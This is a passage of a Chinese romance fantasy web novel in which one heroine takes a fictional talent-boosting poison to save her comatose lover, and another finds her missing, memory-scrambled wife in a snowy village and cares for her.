贺兰濯让她哭,她便不计形象地痛哭了好一阵,这段时日的压力统统宣泄出来,将贺兰濯的肩头都哭湿了,哭累了,也松快了些。
贺兰濯搂着她安抚她,吻去她的眼泪。
第五阙抽噎了两下,不哭了。
“你受了伤还要来安抚我,我是不是很没用?”
“你救了我,让我这么喜欢你,怎么会没用呢?我下半辈子还得靠你呢。”
第五阙倏然攥紧贺兰濯的衣摆。
“你这是,和我确定关系了吗?”
“嗯。”
“那咱们……”
“还能给我好好爱你的机会吗?”
贺兰濯抬手想摸第五阙的脸,在空中摇晃了一下,没能第一时间摸到。
第五阙自己乖乖贴上来,在她掌心里用力点头。
贺兰濯笑了,将她紧紧拥入怀中。
“抱歉,让你等了这么久。我会好起来的。我要和你去你喜欢的山头,种果树看瀑布,一起度过每一个日出日落。”
……
听说贺兰濯醒了,李极立刻到她的寝屋来。
李极来时,第五阙险些认不出她。
李极眼下青黑浓得吓人,瘦骨棱棱,曾经身上的万般风情只有三分犹在,其他七分都变成了憔悴忧虑,倒是有了另一番脆弱清冷。
本以为曾倾洛精神世界被毁,成日讷讷不言,不识人也不认物,对她一往情深的李极肯定禁不住这巨大的打击。
没想到李极憔悴归憔悴,依旧撑着精神,亲自照顾着曾倾洛的饮食起居,同时将睦州握到了手中。
李极没跟任何人说自己的想法,不需要说,她只想把自己应当做好的事全部处理妥当,该握进手中的全部握牢。
不然,冒着生命危险出城找她的小满算什么,小满的付出又算什么?
李极不愿辜负曾倾洛为她受的苦,她把一切都梳理妥当,等曾倾洛醒来,李极要告诉她自己成长了,能独当一面了。
与此同时,李极也在急切地等着贺兰濯清醒,这件事只有贺兰濯能给她答案。
“我还能重建小满的精神世界吗?”
李极开门见山问贺兰濯。
第五阙认识曾倾洛这么多年,也是第一次知道她的小名叫“小满。”
贺兰濯:“既然你问了,我就直说了。能,但曾经S级天赋的我做不到,恐怕所有S级的都做不到。但我从古老的资料中有看到过一个案例。两百年前有一位双S级精神天赋者为一位脑痴病人重建了思维和人格,让其变成了正常人。”
李极听到此处,双眼藏不住期待的光芒。
“不过历史太久远了,也有杜撰的可能性。且不说它真实与否,就算是真的,我双眼已瞎,别说双S级精神力,我现在就是个没有任何天赋的普通人。或许一辈子都不会康复。所以这件事我暂时帮不上忙。”
第五阙紧扣着双手。
没想到李极继续道:“你说过,你允诺了李煽,以帮她寻找韩复下落为交换条件,获得了出长安城的权限。”
贺兰濯立刻明白了她的意思。
李极的声音平静,“韩复手中有能大幅度提升天赋的药,对吗?”
贺兰濯沉默了几息,才道:“你应该知道,那是毒药。”
李极就像没听到贺兰濯的警告。
“我想知道韩复的下落。”
第164章
死城。
垃圾山上,有个女人正在一件件地挑捡能用的零件。
她穿着一身简朴的短打,罩着面罩,双眼也藏在那面罩之内,只用手的触摸来判断拾到的东西是否可用。
一架飞艇从远处飞来。
原本韩复并没有在意,毕竟每日来死城倾倒垃圾者络绎不绝,什么载具都不足为奇。
直到飞艇落到韩复面前,韩复寻拾的动作才微微顿了一顿。
“韩复。”
这个声音韩复听过,安王李极。
李极开门见山说自己想要提升天赋的药。
“你可以开出任何交换条件,只要我有,都可以与你交换。”
韩复将不匹配的元件丢了,再去摸下一个。
“第一次听说有人倾尽一切,只求一死。”
李极:“开价吧。”
韩复:“谁告诉你我在此地?”
李极双臂环在身前,耐着性子说:“当初你利用李渃元,准确来说是李渃元魔种的权限离开长安,城防那边是有记录的。”
当时最高研发署署长李煽,自然能调取这份记录,交给贺兰濯,以追寻韩复的下落。
贺兰濯通过韩复离开的时间推断,再调取一路上的监控以追查到韩复,并不是一件难事。
贺兰濯早就知道韩复带着李渃元的魔种回了死城,回到她熟悉的“故土”。
只有在这座被遗弃的角落,她们才能真正隐姓埋名,与世隔绝。
李渃元的魔种才有可能活下去。
其实韩复回死城这一路布下了很多障眼法,一般人难以追踪。不过贺兰濯这些年为了寻找阿赐,追踪技术被迫精进了不少。加上韩复的身世,大致能猜到她归隐之地。
李极看她在垃圾堆里寻找零件,再道:“你要什么我都可以去找,我现在就去找。”
韩复:“你好像很着急。”
李极:“对,我等不起。”
她没办法等待贺兰濯不知何时才能恢复的天赋。
曾倾洛每况愈下,刚受伤时虽不认人,但与她说话十句中还能回应一两个字。
如今已经全然没了回应,不言不语,不睡觉也不行走,连进食都只能靠营养液。这样下去很快就会……
李极不甘心,曾倾洛此刻明明还活着,漂亮的眼睛还睁着,还在呼吸,只是魂魄被困在了黑暗之地,被锁在生死边缘。
如果她都放弃了,谁来救曾倾洛?
更何况,若不是曾倾洛相救,现在无知无感的人就是她自己。
爱恨痴嗔间,她无数次想从曾倾洛那儿讨情意。
纠缠、激怒,无所不用其极,就是想证明曾倾洛有多在意。
可如今真的证明了不善言辞的少女真心爱她,甚至愿意用命来换她,她却如此痛苦。
甚至想过,如果曾倾洛能好好活下去,就算从未动心,就算还像之前那样厌她恨她,对她避之不及,她都甘之若饴。
韩复问:“你要那药做什么?”
“救一个人。”
“那药最终会反噬食用者,你应该已经听说了。”
“是。”
“你不问此药是否有解?”
“我不在乎。”
韩复从她的话中感受到了和自己内心深处某种相同的情绪。
沉默片刻,将想要的材料全部装到袋子里,缓缓走下垃圾山。
李极开着飞艇跟在她身后。
韩复似乎对这儿了如指掌,即便眼睛看不见,依旧如履平地。
李极跟着她走到一座小屋前。
小屋是歪斜着,要不是在倾斜的那一面立了根金属管,感觉小屋随时会塌。
韩复推门时,里面传出一些细碎的声响。
李极多少猜到了一些,但当她真的听到李渃元的声音时,依旧呼吸屏停。
“阿复,你又为我去寻零件了?都说了,先前那个就能用。这么冷的天别再一直往外跑。”
韩复:“先前那个不行,你总是摔倒。”
少女音带着笑,“我再小心点就好了。”
韩复道:“有位故人来访,你或许不想见。”
李极本来都要踏进去了,这话显然是说给她听的,撇撇嘴,又退了回来。
“是谁?”
“安王。”
屋里安静了片刻,小魔种道:“也曾姐妹一场,我不在意。阿复你决定。”.
李极进屋之前,本以为屋内和屋外一样破旧不堪。
没想到屋子里东西不少,也的确简陋,但并不破败。
简单的两张单人床,里屋一张外屋一张,所有杂物都被规规整整地收拾摆放好。韩复拾回来的义体清洗消毒后放在一个大大的箱子里,箱子上有被撕了一半的不干胶,留着“工业”二字。
一张简单的餐桌上只摆了盏李极没见过的油灯,油灯被擦拭得一尘不染,和这间屋子其他地方一样。
甚至还有个小花瓶,花瓶里是一把新鲜的野花。
小魔种坐在一张宝宝椅上,脸部是李极熟悉的模样,只是不再戴着威严的冠冕。她盘着发穿着一身干净的素色衣衫,除了脸上有些奇怪的裂纹,其他都和印象里没什么区别——只要不往下看。
即便穿着衣衫,依旧能看清脖子上有伤痕,以及衣衫之下局部空荡残缺的肢体。
韩复一直在垃圾山里一点点寻觅小魔种可用的零件。
这个对机械嗤之以鼻的女人,正在为小魔种打造完全机械化的躯体,渴望重塑她的生命。失去了身体,竟奇迹般让小魔种的状态有所好转。
只是不知能维持多久。
小魔种迎着李极的目光,不卑不亢。
“坐。”
即便早就知晓自己不过是个傀儡,但她身上依旧保留着常年身居高位留下的气度。
李极坐下说明自己为何需要那药。
小魔种的手臂是磁铁型机械臂,吸着一支笔,正在电子屏上练习用手。似听了,也似没听,偶尔看向韩复。
韩复在屋里找了半天,才找到一管药。
“此药喝下之后,天赋会有显著提升。至于能提升到何程度,因每个人的体质不同而不同,我不能保证会达到你想要的效果。”
李极面色平静,韩复的告诫是她早就料到的。
“你答应给我了?”
韩复:“它对我而言已经没有意义,还占地方。你若是想要便拿去。”
李极接过药,沉思着。
韩复以为她这会儿才开始犹豫,没想到她问:
“只有一管吗?如果我一次提升不到想要的等级,我想再喝一管。”
韩复:“……没人试过,你不要命的话可以试试。”
韩复又拿给她一管。
“只有这两管,没有了。”
“多谢。”
李极留下一本银票。
“想写多少银子随便写,睦州任何一家官家钱庄都能兑换。”
韩复推了回去,“这些不必了。往后可能需要殿下帮忙,找些零件。”
李极爽快答应,“没问题。你们若是想在睦州定居,我也可以寻一处僻静之地,保你们不受外界打扰。”
韩复没说话,她习惯性等待小魔种开口。
小魔种淡笑道:“多谢安王的好意,我和阿复在死城过得很好。”
李极本就不太习惯向谁释放善意,对方拒绝了她,她便不再多言。
李极正待要走,小魔种忽然叫住她。
“李极。”小魔种忧虑道,“无论提升到什么等级,最多只能再活十年。那是剧毒。你会死。”
李极在残阳中回眸,依旧是高傲的安王。
“即便活上千岁万岁,心中寂寥也是白活。若只能活一瞬,得遇挚爱便是永恒。不知对于你们而言,哪个时刻能感受到自己真真正正地活过。对我而言,是遇见她之后,是现在。”
小魔种听完她的话,心内有种相似的情绪在翻涌。
一贫如洗,却是前所未有的轻松。
她不属于大明宫,她也不是天子。
清醒之后她明白了自己从来都不是李渃元。
被人操控的傀儡找到了自己的生活、自己的命途,还有比这更幸运的吗?
此刻的自己,不知什么时候会死,却真真正正地开始活了。
……
李极坐上飞艇时,韩复道:“时间在往前走,或许一些无解题能找到解法。”
李极扣下防风镜,“但愿。共勉。”.
回到安王府,李极快步走入院中,见侍女陪着曾倾洛坐在暖房内。
暖房是整个安王府视野最好的地方,曾倾洛一袭暖和的裘衣,周围都是裴寂的画,她最喜欢的画。
美景当前,曾倾洛却怔怔地看着空落落的地面,双眼眨都不眨。
李极来了,侍女离开。
李极从曾倾洛身后抱上来,满当当地把她拥入怀中。
这份紧密的拥抱让李极深深地满足,证明她的爱还在。
那位侍女很能干了,暖房是暖,但曾倾洛的手还是有些凉。
领命照顾,和发自真心的熨帖到底不同。
李极为曾倾洛揉了揉眼,帮她合上,再睁开。
再握住怀中人的手,仔细地把微凉的手焐热,冰冷的脸染温。
“小满。”李极一如既往眷恋地蹭她的脖子,“等你醒来,我们就成亲吧。”
怀抱着曾倾洛,李极喝下了第一管药.
两个月后。
已是仲春时节,长安城百花将绽,而北境依旧冰封万里。
寸草不生的野地中停着一辆房车。
昏暗的车厢内,坐在沙发上只想小睡片刻的边烬不知什么时候睡着了。
再一次陷入了混乱的梦中。
……这次出征太凶险,你旧伤未愈,我不想你去。
……你是我这辈子最最重要的人。你去何处,我便要随你去何处。
……你跟我走。
……师姐,我长大了。
……六年前没办法讨厌你,现在也是。师姐……别让我再离开你。
……你怎么会把我弄丢了?
……下次给我起个乖一点的名字吧。
恋恋不舍的目光刺痛了边烬的心。
阿摇!
边烬猛地惊醒。
醒来的一瞬,耳鸣声覆盖了整个听觉,头疼欲裂。
梦境实在太多,一个接一个,有时候边烬甚至分不清哪些是梦,哪些是现实。
此时,空荡荡的房车,和沈逆留在房车中未吃的食物,用过的器物,睡过的床品,一一都在向边烬诉说,现下的形单影孤正是现实。
边烬愣怔片刻,压下过快的心跳,撩起眼前凌乱的长发,露出红肿不堪的双眼。
那夜,边烬醒来,发现黑魔方已经离自己而去。
她记得是沈逆吸走了黑魔方,之后她陷入了漫长的昏迷。
醒来时她甚至换上了干净的寝衣,躺在房车内。
是沈逆做的吗?
四下找了一整夜,之后更是踏遍了整个弦昼国,继而搜寻整个北境,都没有沈逆的下落。
两个月的时间,边烬日夜不停地找,到处发布悬赏,没有任何有价值的消息。
沈逆就这样消失在天地间。
……
边烬撑起身子,去拿了一瓶营养液。
逆芯已经自行修复了,边烬生命没有大碍,但她身上的伤实在太多,潦草治疗后便一直在寻找沈逆,没时间也没心思好好休养。
镜中的她憔悴不堪,原本合身的衣衫变得空空荡荡。
喝营养液的时候,边烬抓紧时间登录暗网。
她在暗网发布了高额悬赏,每日都会有海量的线索。
每日她醒来的第一时间要做的,便是从这些线索中筛选真正有用的。
营养液空瓶落入渣斗内,沈扶苏突然飞来一封信,说得到了一个黑魔方的下落。
边烬立刻驾车前往坐标。
马不停蹄地到了某处峡谷深处,发现只是一具已经死去,没人敢清理的异兽残骸。
烈风穿过峡谷,很快将边烬满怀期待的心吹凉,吹透。
黑魔方脱体,边烬已经感受不到黑魔方的存在。
沈逆将黑魔方吸入体内后,连沈扶苏都侦测不到黑魔方的方位。
那股毁天灭地的能量在被沈逆带走后,竟被彻底压制,无处可寻。
不得不说,她真是个旷世奇才。
沈扶苏的侦查蜂在附近转悠,也发现了那具异兽的残骸。
侦查蜂飞到边烬身边,传出沈扶苏的声音。
“当初巫咸算法算出她在你身边才能抵挡这天地浩劫。没想到,竟是这样的结果。若我早知……”
边烬心烦,骨鞭闪过,一窝蜂全部被抽个粉碎。
暗网上有个消息让边烬在意。
骗赏金的假消息太多了,可无论是不是假的,边烬都想去证实。
哪怕只有一丝希望,她也日夜不停地在大陆上寻找着。
再一次踏上旅程时,边烬难免会想,当初沈逆在北境寻找她的下落时,是否也是同样的心境?.
李司派遣了左、右骁卫,近五千人在各地搜寻沈逆的下落。
与此同时发布皇榜,提供沈逆下落者,赏黄金万斤。
重赏之下,竟也一无所获。
李司一心在寻找沈逆的下落,自有一群信奉“忠言逆耳”的言官们在朝会劝谏。
“若奉国公还活着,肯定会与陛下联系,毕竟现在各地的网络陆陆续续都修好了,传递消息不过就是飞鸽一封。可现下半点消息都没有,只怕……”
“凶多吉少”这四个字没说出来,也不妨碍听者被诱导着脑补。
沈逆人还未找到,已经被封为奉国公,边烬亦封为镇北大将军。
奉国公府和将军府都已经准备完毕,只待找到沈逆,双妻二人想住哪儿便住哪儿。
李司不咸不淡回道:“若是没有奉国公双妻,如今百姓谁能高枕无忧?开城之日更是遥遥无期。奉国公丰功盛烈,就算朕找她一辈子,百姓也不会说上半句反对的话。”
言官们一时无言,这位新帝最是会用“百姓”来堵重臣的口,每次都难以反驳。
李司实在懒得和这帮老朽多费口舌。
沈逆生死未卜,窦璇玑日夜担心,李司不好提大婚封后之事,也的确没那心思。
既然文官们闲的没事,李司便让他们每人写一份开城策论。
在一众难看的脸色中,内官宣布散朝。
从新修的乾元殿望出去,能俯瞰整座皇城。
新帝站在高处,神色忧郁。
臭狐狸,你到底身在何方?
你肯定还活着,那一身的神奇本事定能逢凶化吉,对不对?.
再一次失望而归,边烬精疲力竭,房车的动力油也将用完。
附近只有个偏僻的小村子,查了一下,幸好有补给站。
车开进村子,加油时,边烬沉着眼眸,轻轻抚摸着腰间的人胜,耳朵里传来不远处一群孩童的对话。
“火轮明日就要拆了啊,好可惜,我阿娘督促着我去学院,说以后要让我考科举,烦得要命,火轮都没来得及看几次呢。”
另一个小孩道:“今年可是为了庆祝黑魔方被消灭,点了一整个正月呢。你没看到好可惜,可壮观了!我觉得咱们的火轮和长安城里的通天火轮也没什么区别吧。”
“通天火轮”这四个字让边烬回神。
不远处,一座巨大的火轮安静地矗立在村子中央的市集内。
黑黝黝的火轮没有点燃时,像一座荒凉的废墟。
边烬想起她与沈逆成亲之后的那个正月,因为她的失误而错过的热闹。
边烬望着火轮,目光凝滞着。
阿摇那时候应该很期待一起去看通天火轮吧?
可惜当时的期待终究没能实现。
后来,竟再也没有机会了……
那几个小孩继续说:“火轮拆了,那个疯子会不会再出现啊?感觉就是有火轮在,疯子才不敢再来的。”
“就是火轮把疯子吓跑的!”
“最好吓跑她,她真的好可怕!”
“可是,她会七十二变哎——虽然她好吓人,可也好厉害!”
七十二变?
轰——
一阵冲天的火光吸引了所有人的注意力。
边烬眼睁睁地看着要被拆除的火轮突然被点燃。
整个市集的人都被吓了一大跳,有人指着火轮的方向大喊:
“是那疯子点的火!”
“她没被吓跑啊!”
边烬的确看到火轮边有个人影。
那人影一瞬间擒住了边烬的心和眼。
“是她!她偷了全村的地豆,如今还要放火烧火轮!”
有人小声提醒,“可是,火轮不就是用来烧的么?”
“……别管了!快把她抓下来!”
第165章
“疯子”点了火轮,全村人都杀到火轮之下,对她喊打喊杀。
她却开心地坐在火轮边木雕神明的脑袋上,欣赏着炽烈燃烧的火轮。
边烬屏息静气地跃到她身后,正要唤一声“阿摇”,她却极其警觉,立刻前逃。
边烬伸手抓向她的后领子,竟没能抓住。
一截冷硬的金属拨开了边烬的手。
边烬被这灵巧的抵抗眼前花了一瞬,“疯子”立刻消失,机灵得很。
边烬敏捷落地,并未放弃,在人群中急追那抹身影。
方才碰到她手的金属物质感,非常像黑魔方的乱体。
边烬比任何人都要了解乱体的质感,毕竟她和黑魔方共生过。
但那乱体明明触碰到她了,竟只是轻轻拨开,没有要伤害她的动作。
这和她所熟知黑魔方拼命想要往人的身体里扎,穷凶极恶的习性很不一样。
还有一个边烬确定那不是黑魔方乱体的重要特征。
金属物居然不是黑色,而是白色的。
就像是……纯白的乱体。
火轮再次被点燃,仿佛回到了正月里的热闹,市集挤满跑来围观的人。
边烬在人群中穿梭着,紧盯着那抹身影。
实在太像沈逆了……可就是追不上。
这速度快的又不似沈逆该有的身手,或许有乱体在帮忙。
边烬心里起急,抽出骨鞭想要卷住她,与此同时大喊——
“阿摇!”
边烬这一喊周围的人都诧异地往她的方向看,甚至有人认出了她。
“这不是边烬吗?”
“真的是她!”
就在抽出骨鞭的一瞬间,那身影倏然转变了方向,喊声响起的同时,那人完全消失在人群中。
边烬口中呵出焦急的白气,四下搜寻,真的不见了。
无数人影从眼前过,浮光掠影,没有和沈逆相似的踪迹。
极少有人能从自己的眼皮底下溜走,阿摇也是不可能的。
她不是阿摇吗?
如果她是,为什么要逃?
听到她的呼唤,不可能不停下来的。
受了黑魔方的影响?还是什么原因?她要去哪儿?她不认识我了吗?
诸多情绪袭上边烬的心头,两月来第一次有了真真切切的线索,却从指缝中划过,她不可能不急。
不过久经沙场的老将明白心态比什么都重要。
边烬深吸一口气,调整了呼吸,告诉自己别着急,越是紧要关头越是要冷静应对。
——她会七十二变。
孩童们的话浮上边烬的心头。
所谓的七十二变,很有可能是因黑魔方引起的变化,这点也和阿摇匹配。
既然村子里的人都认识她,说明她在此地停留了不短的时日,应该不会马上离开。
在村子里找,一定能找到。
……
火轮上的火被灭了,市集又恢复了冷清。
一团白乎乎的“雪球”趁着夜色蹿上了屋顶,和屋顶上未化的积雪融为一体。
乍看之下这是一团“雪球”,但近距离认真观察,却能发现它是一团纯白色的金属体圈成的金属球。
金属球里露出了一双漂亮的眼睛,眺望火轮时,遗憾地发现火轮已灭,变成了夜幕下的一缕青烟。
“哎——”
白色的乱体从沈逆的身上褪去,犹如机械的潮水。
沈逆穿着一身不知从哪儿来的衣衫,有些不合身,小了些,一双长腿随性往前蹬着,双手撑在身侧后方。
好不容易点燃了火轮,被一群人喊打喊杀,还有一个村民格外凶悍,追了一整路,幸好她逃走了。
沈逆迷茫地望着夜空,喃喃自语。
“我只是想让她看到火轮……”
至于那个“她”是谁,沈逆心里只有一个模糊的轮廓。
这段时间,有一个女人的身影一直在她的脑海里挥散不去。
沈逆内心深处有一份稀薄的认知,她觉得自己和这在她脑海里扎根的女人成亲了。
她们认识了很久很久,好像生下来就认识,彼此相爱着,共同经历了许多磨难。
可是……没有证据。
甚至想不起她真实的模样。
每每想要仔细去回忆那人的样貌和相恋的过往,记忆就会变成一根又一根不断穿梭、拧巴的白色乱体。
不仅记不得重要之人的样貌,沈逆甚至认不清人脸。
连看到镜子里的自己,都只能看到一根根白色乱体拧成的五官。
不识得人脸,甚至不知道自己是谁,要做什么,想去何处。穿着衣服洗澡,半夜溜完全村的狗,薅秃了鸡尾巴,又顺便偷了地豆,做了一堆根本不知道用来干什么的工具,但她并不觉得自己疯了。
只是逻辑有些扭曲,且暂时不知道这扭曲的逻辑从哪里开始捋比较好。
两个月前。
刚将黑魔方吸入体内时沈逆记忆还在,逻辑没乱,甚至没什么感觉。
把边烬抱上房车,沈逆知道边烬喜欢干净,特意帮她清理干净,还换了身干净的寝衣。
坐入驾驶位,正要启动房车时,黑魔方突然爆发。
挣扎间,沈逆都不知道自己是如何滚下山坡,浑身缠着灰色的金属乱体。
乱体拧着她,割破她的肌肤,浑身是血。
她和那乱体缠斗半天,气息奄奄,最后时刻勉强将乱体从身上暂时剥离。
实在太冷了,她浑身是伤,精疲力竭陷入昏迷之后,漫天的大雪将她覆盖。
待第二日边烬在房车中醒来,天已大亮,此时的沈逆早就被积雪覆盖,连她滚下山坡的痕迹都已经完全消失了。
连理模块在黑魔方占领边烬的意识和身体时已经被损坏了,即便近在咫尺也无法感知沈逆的位置。
茫茫旷野,两人就这样错过。
沈逆再次醒来时,发现自己被乱体团团裹住。
乱体不知为何从深灰变成了浅灰,绕着她一圈又一圈,就像给她套上一层睡袋,隐约有些热意。
就是这层热意融化了身上的积雪,保住了她的体温,没让她死在雪地里。
那时沈逆并不知道这倒霉玩意为什么要保护她,也已经不记得自己是谁了。
她站起来,摇摇晃晃地走在冬日暖阳之中,蹒跚又漫无目的地前行。
渐渐地,沈逆明白这玩意被自己困在身体里,生死与共。她死了,这玩意也得死。
这玩意想出去,沈逆不让。
虽说沈逆记不得困住它的来龙去脉,心中却有一个信念和畏惧,让她随时保持着警惕,绝对不能让身体里的东西逃出去,否则就会前功尽弃。
失去了房车,没有工具箱,电子表也在低温环境中冻坏了,可她手臂空间里还有些可用的便捷工具以及一些银子,足够她一边流浪,一边寻找自己的身世之谜。
此刻,沈逆坐在房檐上,看云散月升,用树枝在积雪上画着一个女人的模样。
轮廓画好,轮到五官了,怎么都画不出来。
每次都是卡在这一步。
沈逆正聚精会神,突然一颗石头丢到她后背上。
“疯子在这!”
“大家快来啊,我们找到疯子啦!”
屋檐下聚集了两个小郎君两个小娘子,四人都是十岁出头的模样,手里拿着些不知从何处捡来的棍棒刀叉。
其中一个个头最高的小娘子指着沈逆道:“你这个疯子,快点离开我们村子!不然我们要不客气了!”
沈逆摇摇头,“我不走。”
“你为什么不走,你又不是这个村子里的人!”
沈逆眨眨眼,“住久了就是了。”
“你……”小娘子语塞,一时反驳不了。
另一个小郎君跺着脚道:“你未经允许点了火轮!”
沈逆笑道:“是啊,看到火轮大家都很开心,不用谢。”
四人哑然。
这是什么强词夺理的逻辑啊!
小伙伴们重拳出击,没想到纷纷打到了棉花上,一个个我看看你,你看看我,不知所措。
沈逆补充一句,“而且我是点给我妻子看的,她肯定喜欢看。”
四人听完,纷纷大笑。
“疯子怎么会有老婆哦。”
“谁会嫁给疯子?痴心妄想!”
说其他的可以,但说她没有老婆,她急了,站起来喊道:
“我不是痴心妄想!我有!”
“是嘛?那她在哪里?让她出来啊。”
沈逆提声就要辩白,话到嘴边,描述自己妻子的话就像断线的珠子,从意识里崩断,掉了满地,瞬间滚散无踪。
“她……”
沈逆嗑吧了一下,没答上来。
小孩儿们更起劲了,全在嘘她。
“你根本没老婆,你在骗人!”
“撒谎精!羞羞!”
沈逆往前走一步,雪块纷纷掉落。
她大声宣布,“我有!我真的有!”
“你没有你没有!”
“我真的有!”
“空口无凭,她人在何处?”
“她,她现在不在,可总会来找我的!”
“那就是没有!”
幼稚的争吵还在继续,沈逆再往前一步,还想为自己据理力争,没发现自己已经踏出屋檐。
积雪被一脚踩碎,沈逆在毫无防备的情况下猛地从高处跌下。
沈逆和四个小孩儿都吓了一跳,就在小孩们觉得“疯子”会摔个好歹时,一抹飘然若仙的身影荡开墨色的黑夜,仿佛自星辰中飞来,不偏不倚,稳稳将沈逆抱入怀中。
足尖点地,浓密的墨色长发才缓缓跟着降下。
小孩儿们都看呆了。
这仙姿佚貌一尘不染的姐姐从天际飞来,当真像是忽然降世的谪仙。
沈逆也瞧痴了。
抱着她的女子眸光如水气质若冰,还似古松风雨不惊。
容貌极有距离感,可现下这冷冰冰的神女姐姐正紧紧搂着她。
沈逆居然觉得眼前人身上有种非常熟悉的感觉。
沈逆:“你是……”
听到这句疑问,边烬眉心难过地紧蹙。
阿摇果然被黑魔方影响,思绪出现了问题。
边烬:“你不是一直在等我吗?”
“……嗯?”
“对不住,我来晚了。”
边烬温柔地轻抚沈逆被雪沾湿的头发,一笑生春。
“我就是你的妻子。”
第166章
边烬带着沈逆回房车时,四个小孩儿好奇地一路尾随,叽叽喳喳。
边烬关车门的时候,对小尾巴们丢出来一句话:
“回去,没什么好看的。”
刚才还敢跟沈逆大小声的小尾巴们立刻噤若寒蝉。
这姐姐长得这么漂亮,眼神和说话的语调却冷得让人害怕。
冷冰冰的一个人,却对“疯子”那么好。
小崽子们难以置信。
“疯子真的有老婆啊!”
“还、还、还这么美,比隔壁村村花都美!”
“其实疯子长得怪好看哎,我刚才总算看到她的脸了。”
“我也看到了!这么说起来,总觉得疯子长得很眼熟,你们觉不觉得她像谁?”
其他三人纷纷摇头。
奇怪。
觉得沈逆眼熟的小娘子双手揣在身前,紧锁眉头。
肯定在哪儿见过.
咔哒。
厚重的房车门合上,边烬转身,见沈逆缩在沙发上,双臂抱着蜷缩的双膝,警惕又好奇地打量边烬。
“别怕。”
边烬倒了一杯热茶,试着接近沈逆。
她看得出来沈逆有些紧张,甚至害怕,所以没有立刻靠得太近,留了一个人的身位。
“喝点茶。”
沈逆的确很渴,又渴又冷,接过茶,缓缓喝着。
边烬看她漂亮的手指指尖通红。
不会照顾自己,冻伤了。
眼睫轻闪,边烬将泪意忍了回去。
一杯茶入喉,身子暖了,很舒服。
“这是你的房车吗?”沈逆问。
边烬坐到她身侧,“是你造的,我们的房车。”
“我造的啊。”沈逆四下看了眼,“还行,还有可以改进的地方。”
算是认领了房车。
这几番对话下来,边烬略微松了口气。
沈逆虽然不认人,逻辑上是有些剑走偏锋难以琢磨,但好在情况并不严重,正常的交流没什么障碍,只是偶尔会让人啼笑皆非。
幸好不是真的疯。
像是黑魔方造成的思维混乱。
边烬也很好奇,为什么沈逆和她的混乱不像同一种混乱。
黑魔方在边烬体内时,更像是精神污染。
记忆犹在,思维也未错乱,只是下意识的行为会变得更为恶劣,不计后果。
沈逆呢,记忆也不算彻底丧失,只是记忆逻辑扭曲了,她甚至记得自己已经成亲,甚至知道自己是个优秀的机械师,能造出房车。而她的行为也没有任何攻击性。那群小孩嘲笑她时,她甚至还在用言语据理力争,没有任何伤害小孩的想法。
甚至连乱体都变成了白色。
边烬凝视沈逆,活生生的沈逆,总是能出乎她意料的沈逆。
沈逆其实察觉到了边烬太过炽热的目光,靠近她的那侧耳朵已经被看得发烫,鼻尖也冒了些汗出来。
老婆在看我……
沈逆安静地小口喝茶。
她是不是喜欢我?
边烬回了回神,“衣服都湿了,先去洗个热水澡,换身衣服?”
还以为沈逆现在自有一套逻辑,未必会听话,没想到她干脆地应了一声:“好。”
疑似比之前还乖一些。
房车可以自动拓展出一个一丈长一丈宽的落地空间,边烬开了两个月的车,已经对它的各种性能了如指掌。
沈逆看着落地空间自行拓展、拼接,相当认可地点着头。
最开始,沈逆对拓展空间的设计思路就是当净房用。
房车里的空间有限,只能解手,想要舒舒服服沐浴不可能。
拓展空间的首要功能就是可以展开浴缸,接入热水。
天气好的时候浴缸一收,头顶的金属板打开,还可以围成烧烤喝酒的小院子。
此刻自然是当做净房。
按下按钮,浴缸自己从房车下部车厢伸了出来,热水哗哗涌入。
边烬说:“等一下。”
她的意思是她去给沈逆拿寝衣,便离开了。
沈逆以为她说等热水灌好就可以洗了。
热水灌得极快,等边烬再回来,发现沈逆穿着衣服整个人坐在浴缸里,手里还拿着块皂角,对着皂角的包装不知该如何剥开。
边烬:……
暂时把寝衣放到一旁,接过沈逆剥得乱七八糟的皂角,撕开外包装,放回她的掌心里。
对于逻辑混乱的沈逆而言,边烬可太厉害了,居然随手就撕开了皂角那层层叠叠的包装纸。
沈逆开心地说:“谢谢。”
边烬淡笑着摸了摸她的脑袋。
“我是你的妻子,不用谢。”
流浪了两个月,在这个危险的世界里吃过不少亏的沈逆,第一次感受到被妥帖照顾,还完全不求回报的温柔。
有妻子可真好啊……
沈逆在心里感叹着。
她双手捧着梨花味的皂,这香气特别喜欢,不舍得用,闻了又闻。
边烬试探问她:“为什么穿着衣衫就进了浴缸?”
沈逆眨眨眼,认真道:“这样洗澡的时候就能把衣服一起洗了,岂不省事?”
边烬:……
或许有时候天才和疯子,只有一线之差。
边烬还是劝她,“衣服粘在身上不会不舒服吗?你脱了,我帮你洗。”
沈逆不知想到什么,小脸红红的,声音都变软了。
“不用,我自己会洗。”
“那你脱了给我好不好,我帮你拿出去。”
不管沈逆说什么,边烬都好脾气地顺着她,让沈逆不由自主地想,“妻子”就是这么温柔的吗?
感觉这姐姐会纵容她做任何事。
沈逆说:“好,你先转过去。”
边烬无奈一笑,转身。
要是从前的沈逆,不仅不会让她转身,估计会邀请她一同沐浴。
一开始觉得好笑,想着想着,边烬鼻尖上漫出酸劲。
沈逆失踪后,边烬开着房车四处寻找的这段时日里,房车内外自然了如指掌。
她在房车上层的工作室里发现,沈逆早就在谋划着吸走黑魔方,这件事沈逆居然从头到尾都没提过,藏得极其严实。
沈逆将黑魔方锁进了自己身体里,舍命救她,说到底,边烬无法真的生沈逆的气——有人为你不顾生死,真心可鉴,这是万万生不起气的。
只是担心,非常担心。
这两个月中边烬从未放弃过,可是一次次被假消息骗到各地,最终失望而归,在孤寂的深夜里,她也曾难过地想,是不是此生再也无法见到她的阿摇了。
撑着一颗破碎的心,踏过痛苦,咬牙踏上寻找爱人的漫漫征途。
无数次直面绝望,无数次告诉自己再试一次。
再试一次,再往前找一下,说不定她的阿摇就在下一个线索里。
梦中重逢,醒来身侧清清冷冷,余生煎熬。
如今清醒着,不是梦,她真的找到了阿摇,活生生的阿摇。
越过了死亡的天堑,她们终于在人间相聚。
无论阿摇变成什么样,都好过死别。
眼前的阿摇可爱归可爱,到底是乱了心智。
也不知心智会不会进一步混乱,以至威胁到性命。
得尽快想办法助她康复。
沈逆脱了衣服搭在浴缸边,潜入水中,只露出半截脑袋和一双乌溜溜打量边烬的双眼。
“我,脱好了。”
边烬把湿乎乎的衣衫拿起来。
沈逆说:“谢谢……”
刚说完就想起边烬先前说过——我是你的妻子,不用谢。
谢了一大半,吞了最后一截尾音回去。
被水浸透的衣服在边烬白皙的手中整齐地叠好,水沾湿了袖口,她也没有半点埋怨,只道:
“在我面前,你想说什么就说什么,想做什么就做什么,不用有任何拘谨。”
